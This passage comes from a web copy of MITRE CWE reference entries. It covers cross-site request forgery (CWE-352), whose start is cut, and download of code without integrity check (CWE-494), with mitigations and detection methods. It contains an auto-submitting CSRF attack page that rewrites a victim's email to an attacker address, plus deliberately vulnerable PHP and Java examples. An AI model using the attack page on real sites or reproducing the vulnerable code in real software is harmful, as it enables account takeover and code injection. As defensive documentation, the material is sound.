+ Extended Description
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.
+ Alternate Terms
Session Riding
Cross Site Reference Forgery
XSRF
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1275Sensitive Cookie with Improper SameSite Attribute
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Web Server (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism; Read Application Data; Modify Application Data; DoS: Crash, Exit, or Restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

(bad code)
Example Language: HTML 
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>

profile.php contains the following code.

(bad code)
Example Language: PHP 
// initiate the session in order to validate sessions

session_start();

//if the session is registered to a valid user then allow update

if (! session_is_registered("username")) {

echo "invalid session detected!";

// Redirect user to login page
[...]

exit;
}

// The user session is valid, so process the request

// and update the information

update_profile();

function update_profile {

// read in the data from $POST and send an update

// to the database
SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

(attack code)
Example Language: HTML 
<SCRIPT>
function SendAttack () {
form.email = "attacker@example.com";
// send to profile.php
form.submit();
}
</SCRIPT>

<BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

+ Observed Examples
ReferenceDescription
Add user accounts via a URL in an img tag
Add user accounts via a URL in an img tag
Arbitrary code execution by specifying the code in a crafted img tag or URL
Gain administrative privileges via a URL in an img tag
Delete a victim's information via a URL or an img tag
Change another user's settings via a URL or an img tag
Perform actions as administrator via a URL or an img tag
modify password for the administrator
CMS allows modification of configuration via CSRF attack against the administrator
web interface allows password changes or stopping a virtual machine via CSRF
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Note: Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Note: Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR Partial

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.716OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.814OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.936OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Theoretical

The CSRF topology is multi-channel:

  1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
  2. Intermediary (as user) to server (as victim). The activation point is an internal channel.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-Site Request Forgery (CSRF)
OWASP Top Ten 2007A5ExactCross Site Request Forgery (CSRF)
WASC9Cross-site Request Forgery
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 37. McGraw-Hill. 2010.
[REF-329] Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. <http://marc.info/?l=bugtraq&m=99263135911884&w=2>.
[REF-330] OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". <http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet>.
[REF-331] Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18. <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445>.
[REF-332] Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". <http://www.cgisecurity.com/articles/csrf-faq.shtml>.
[REF-333] "Cross-site request forgery". Wikipedia. 2008-12-22. <http://en.wikipedia.org/wiki/Cross-site_request_forgery>.
[REF-334] Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". SANS Software Security Institute. 2010-03-03. <http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery>.
[REF-335] Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008-10-14. <http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-956] Wikipedia. "Samy (computer worm)". 2018-01-16. <https://en.wikipedia.org/wiki/Samy_(computer_worm)>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-20Tom Stracener
Added demonstrative example for profile.
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationship_Notes, Research_Gaps
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships, Theoretical_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships

CWE-494: Download of Code Without Integrity Check

Weakness ID: 494
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
+ Extended Description
An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability
Confidentiality
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; Other

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example loads an external class from a local subdirectory.

(bad code)
Example Language: Java 
URL[] classURLs= new URL[]{
new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(bad code)
Example Language: PHP 
//assume the password is already encrypted, avoiding CWE-312

function authenticate($username,$password){

include("http://external.example.com/dbInfo.php");

//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);

if(mysql_numrows($result) == 1){
mysql_close();
return true;
}
else{
mysql_close();
return false;
}

}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

+ Observed Examples
ReferenceDescription
OS does not verify authenticity of its own updates.
online poker client does not verify authenticity of its own updates.
anti-virus product does not verify automatic updates for itself.
VOIP phone downloads applications from web sites without verifying integrity.
+ Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.
Note: This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Phases: Architecture and Design; Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

  • When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
  • Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
+ Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInvoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011)SEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault PatternsSFP27Tainted input to environment
+ References
[REF-454] Microsoft. "Introduction to Code Signing". <http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx>.
[REF-456] Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19. <http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html>.
[REF-457] Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". <http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 18: The Sins of Mobile Code." Page 267. McGraw-Hill. 2010.
[REF-459] Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". SANS Software Security Institute. 2010-04-05. <http://blogs.sans.org/appsecstreetfighter/2010/04/05/top-25-series-rank-20-download-code-integrity-check/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Other_Notes, Potential_Mitigations, References, Relationships, Research_Gaps, Type
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-07-27CWE Content TeamMITRE
updated Description, Observed_Examples, Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, References
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Demonstrative_Examples
